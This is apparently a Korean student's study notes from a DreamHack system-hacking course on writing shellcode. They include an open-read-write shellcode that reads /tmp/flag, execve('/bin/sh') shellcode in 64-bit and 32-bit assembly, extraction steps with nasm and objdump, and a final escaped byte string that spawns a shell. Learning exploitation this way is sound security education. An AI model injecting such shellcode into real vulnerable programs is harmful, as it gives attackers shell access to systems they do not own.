INTERLUDE/System Hacking
[DreamHack] Shellcode
sohexz
2024. 2. 5. 16:31
스켈레톤 코드 예제
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
orw.S
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
orw.c
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
/tmp/flag 파일 생성
컴파일
디버깅
1. int fd = open(“/tmp/flag”, O_RDONLY, NULL)
2.read(fd, buf, 0x30)
문자열 0x7fffffffdfb8에 저장
flag 저장된 주소 확인
3. write(1, buf, 0x30)
SYS_write로 flag 문자열이 출력되는 것 확인
./orw 실행할 때 이상한 값이 나올 수 있음
SYS_read 확인
48바이트 중, 앞의 41바이트만 우리가 저장한 파일의 데이터이고, 마지막 7바이트는 널 바이트로 존재
알 수 없는 값이 출력되는 경우에는 뒤 7바이트가 널 바이트가 아닌 쓰레기 값
쓰레기 값이 나중에 write시스템콜을 수행할 때, 플래그와 함께 출력되는 것
쓰레기 값은 어셈블리 코드의 주소나 어떤 메모리의 주소일 수 있음
메모리 릭(Memory Leak) : 이러한 중요한 값을 유출해 내는 작업
- 앞으로 배워나갈 보호기법들을 무력화하는 핵심 역할
셀코드 예제
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
디버깅
SYS_execve 확인
objdump 를 이용한 shellcode 추출
shellcode를 byte code(opcode)의 형태로 추출
어셈블리 코드 - shellcode.asm
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
shellcode.bin을 리틀엔디안 형식으로
shellcode string
execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"